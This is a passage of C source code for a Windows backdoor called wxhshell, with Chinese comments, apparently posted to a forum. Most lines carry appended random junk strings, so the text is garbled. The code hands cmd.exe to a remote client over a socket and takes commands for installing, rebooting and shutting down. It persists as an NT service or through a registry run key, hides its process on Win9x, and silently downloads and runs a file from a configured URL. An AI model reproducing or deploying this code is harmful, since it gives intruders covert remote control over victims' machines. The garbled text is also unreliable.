  case '?': { N-_2d*l3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ymr-kB  
    break; G78rpp  
  } b4oZ@gVR;  
  // 安装 ~[ve?51  
  case 'i': { cJi5\<b  
    if(Install()) //V?rs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (nvSB}?  
    else G^)|c<'M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /+02 BP  
    break; |`:Uww+3  
    } \$riwL  
  // 卸载 mQo]k  
  case 'r': { H^'*F->BA  
    if(Uninstall()) z@T;N'EM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ")x9A&p  
    else )9L1WOGi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E*rDwTd  
    break; T'f E4}rY  
    } P9X/yZ42  
  // 显示 wxhshell 所在路径 ^[^uDE <  
  case 'p': { =0x[Sa$&,  
    char svExeFile[MAX_PATH]; )0qXZ gs  
    strcpy(svExeFile,"\n\r"); VPtA %1  
      strcat(svExeFile,ExeFile); xJc'tT6@  
        send(wsh,svExeFile,strlen(svExeFile),0); rpDH>Hzq  
    break; D&Ngg)_Mq  
    } F?5kl/("  
  // 重启 4s0>QD$J  
  case 'b': { ^t9"!K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ao?H.=#y  
    if(Boot(REBOOT)) JGH9b!}-1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X$PT-~!a  
    else { u8-)LOf(  
    closesocket(wsh); <t]i' D(K  
    ExitThread(0); 7&m*: J  
    } >UR-37g{p  
    break; "qQU ^FW  
    } aViJ?*  
  // 关机 $~zqt%}  
  case 'd': { r(i<H%"Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M7!&gFv8  
    if(Boot(SHUTDOWN)) \*d@_oQ$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }JrM!'  
    else { BD,~M*%z  
    closesocket(wsh); {7B$%G'  
    ExitThread(0); OO53U=NU  
    } gt{ei)2b  
    break; TZ-n)rC)v  
    } _;X# &S(q-  
  // 获取shell w;r -TLf  
  case 's': { `^ F'af  
    CmdShell(wsh); >.J68 x  
    closesocket(wsh); <[l2]"Q  
    ExitThread(0); M*aE)D '  
    break; .^P^lQT]>  
  } m!E36ce}  
  // 退出 #r:J,D6*  
  case 'x': { (VwS 9:`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /EKfL\3  
    CloseIt(wsh); Dzc 4J66  
    break; ~''qd\.f$  
    }  X-~Q  
  // 离开 ^'v6 ,*:4  
  case 'q': { YgdoQBQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,| xG2G6  
    closesocket(wsh); URJ"  
    WSACleanup(); "wexG]R=5  
    exit(1); |K/#2y~  
    break; P|_?{1eO2  
        } ;?h#',(p  
  } U{eC^yjt"o  
  } bKG:_mWe w  
~g>15b3  
  // 提示信息 Tff7SEP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hMhD(X  
} YM+}Mmu  
  } YN"102CK  
2/?pI/W  
  return; -aKL 78  
} G}D?+MWY  
>D<nfG<s Z  
// shell模块句柄 ,MOB+i(3*u  
int CmdShell(SOCKET sock) J6NQ5S\  
{ mj5A*%"W  
STARTUPINFO si; D1#E&4   
ZeroMemory(&si,sizeof(si)); ((;9%F:/$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; --",}%-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CcAsJX~_  
PROCESS_INFORMATION ProcessInfo;  v+G}n\F  
char cmdline[]="cmd"; a[Txd=b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dA\>z[n=  
  return 0; rYN`u  
} k_O"bsI)  
j(Q$frI  
// 自身启动模式 ?uQ|?rk  
int StartFromService(void) .$v]B xu  
{ :Q$3P+6a  
typedef struct f_.1)O'83  
{ gtjgC0   
  DWORD ExitStatus; EsA^P2?_+  
  DWORD PebBaseAddress; Q7c_;z_  
  DWORD AffinityMask; bp$8hUNYz-  
  DWORD BasePriority; alHwN^GhP  
  ULONG UniqueProcessId; o)S>x0| [  
  ULONG InheritedFromUniqueProcessId; $V`O%Sz  
}   PROCESS_BASIC_INFORMATION; Ldir'FW  
?xUz{O0/  
PROCNTQSIP NtQueryInformationProcess; A[+op'>k  
>{Lfrc1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sY1@ch"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;M4N=G Wd4  
y^M'&@F  
  HANDLE             hProcess; Y5ebpw+B-  
  PROCESS_BASIC_INFORMATION pbi; HzbO#)Id-I  
*;"^b\f5_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K"-N:OV  
  if(NULL == hInst ) return 0; v6f$N+4c  
iF61J% 3-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `Rj i=k>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qyd3e O_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4_r8ynq{z  
7^|3T TK  
  if (!NtQueryInformationProcess) return 0; NSb< 7_L  
s#* mn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;CAB.aB~  
  if(!hProcess) return 0; EY2s${26%  
B#EF/\5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t*.v!   
)2rI/=R  
  CloseHandle(hProcess); :peBQ{bj  
Av+ w>~/3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RA.@(DN&  
if(hProcess==NULL) return 0; vkbB~gr@*  
;;l(  
HMODULE hMod; .=^h@C*   
char procName[255]; "lN<v=  
unsigned long cbNeeded; :VLuI  
rD$7;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^D vaT9s  
E8NIH!dI  
  CloseHandle(hProcess); \ 0<e#0-V  
%$sWNn  
if(strstr(procName,"services")) return 1; // 以服务启动 pR\etXeLd  
\I'A:~b)L  
  return 0; // 注册表启动 WYaDN:kZf  
} Y>%A*|U%  
X4%*&L  
// 主模块 ;y5cs;s  
int StartWxhshell(LPSTR lpCmdLine) =WDf [?ED  
{ \dufKeiS&a  
  SOCKET wsl; 8|7Tk[X1j  
BOOL val=TRUE; 6{+~B2Ef  
  int port=0; =797;|B H  
  struct sockaddr_in door;  -U*XA  
xZ9y*Gv\=  
  if(wscfg.ws_autoins) Install(); \V: _Zs  
rt~X (S  
port=atoi(lpCmdLine); kO2im+y  
K=06I  
if(port<=0) port=wscfg.ws_port; zh50]tX  
R 8Iac[N  
  WSADATA data; Y|B/(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o_\b{<^I  
6[qRb+ds  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N?87Bd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); df8rf8B-  
  door.sin_family = AF_INET; G]&:">&R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t.knYO)  
  door.sin_port = htons(port); SB  \ptF  
k5}i^^.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +m>Kb edl  
closesocket(wsl); vZ|-VvG  
return 1; 7c;59$2(  
} % )|/s %W  
162qxR[.  
  if(listen(wsl,2) == INVALID_SOCKET) { 8q tNK> D  
closesocket(wsl); AvV.faa  
return 1; ASu9c2s  
} !' sDqBZ&7  
  Wxhshell(wsl); jq =-Y  
  WSACleanup(); 9`09.`U9[  
W/?D}#e<4  
return 0; |AWu0h\keO  
v3]q2*`G#  
} y8<,>  
j83p[qR7o  
// 以NT服务方式启动 4 6e;UUf!d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S2fw"1h*x  
{ u\t ;  
DWORD   status = 0; z*9/"M  
  DWORD   specificError = 0xfffffff; +Z{ 4OJK  
5h20\b?=$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; twO)b"0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?94da4p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y%&6qt G  
  serviceStatus.dwWin32ExitCode     = 0; %F}`;>C3  
  serviceStatus.dwServiceSpecificExitCode = 0; ,#"AWQ  
  serviceStatus.dwCheckPoint       = 0; <&+l;z  
  serviceStatus.dwWaitHint       = 0; w=^*)jZ8  
xaeY^"L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y<0f1N  
  if (hServiceStatusHandle==0) return; ::M/s#-@  
nt5 ~"8  
status = GetLastError(); -k<.Q=]<t  
  if (status!=NO_ERROR) {yG)Ii  
{ G: @gO2(D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [e&$4l IS  
    serviceStatus.dwCheckPoint       = 0; iK.MC%8?  
    serviceStatus.dwWaitHint       = 0; m,.d< **  
    serviceStatus.dwWin32ExitCode     = status; '2.F-~  
    serviceStatus.dwServiceSpecificExitCode = specificError; r/{VL3}F_e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )8Q|y  
    return; .upcUS8  
  } fqZ!Bi  
?>AhC{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K=B[MT#V{2  
  serviceStatus.dwCheckPoint       = 0; 6,c,i;J_  
  serviceStatus.dwWaitHint       = 0; WV&BZ:H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H-rf?R2  
} *2>%>qu  
Stp??  
// 处理NT服务事件,比如:启动、停止 <`N\FM^vo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) eg,S(;VEt  
{ l YZHM,"  
switch(fdwControl) > ZNL pJQ  
{ e3Lf'+G\  
case SERVICE_CONTROL_STOP: &Owt:R)9~  
  serviceStatus.dwWin32ExitCode = 0; 5T;_k'qe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T+~~w'v0  
  serviceStatus.dwCheckPoint   = 0; 0[hl&7 Ab@  
  serviceStatus.dwWaitHint     = 0; S`*al<m  
  { 'Lm.`U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $9l3 DJ  
  } F1,pAtA  
  return;  NOQgkN  
case SERVICE_CONTROL_PAUSE: p@Qzg /X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B\("08x  
  break; GUcuD^Fe  
case SERVICE_CONTROL_CONTINUE: |Y])|`_'G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2cmqtlW"  
  break; [&zP$i&  
case SERVICE_CONTROL_INTERROGATE: i "-#1vy=  
  break; V K NCK  
}; U2bb|6j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,3W a~\/Q  
} 7)a=B! 8M  
A+ f{j  
// 标准应用程序主函数 *v 8 ]99N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -J[D:P.Z  
{ a.Mp1W  
G;^iwxzhO  
// 获取操作系统版本 Cu`ZgK LQ  
OsIsNt=GetOsVer(); Xz5=fj&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); VyI%^S ]sS  
.KB*u*h  
  // 从命令行安装 :zZtZT!  
  if(strpbrk(lpCmdLine,"iI")) Install(); e~-D k .i  
TIvLY5 HG  
  // 下载执行文件 d?S<h`{x   
if(wscfg.ws_downexe) { 7C 4Njei"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Np=*B_ @8  
  WinExec(wscfg.ws_filenam,SW_HIDE); U5"F1CaW~  
} @lmke>  
nTHP~]  
if(!OsIsNt) { )*_YeT&w.  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]-AT(L >  
HideProc(); Z6 aT%7}}  
StartWxhshell(lpCmdLine); 3'']q3H  
} l'o}4am  
else P/ y-K0u  
  if(StartFromService()) ^X_%e|  
  // 以服务方式启动 W&*{j;e9%I  
  StartServiceCtrlDispatcher(DispatchTable); t4JGd)r  
else J,q:  
  // 普通方式启动 $>BP}V33  
  StartWxhshell(lpCmdLine); qt1# P  
L@2H>Lh35  
return 0; f/ =0  
}
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只看该作者 1 发表于: 2006-10-10
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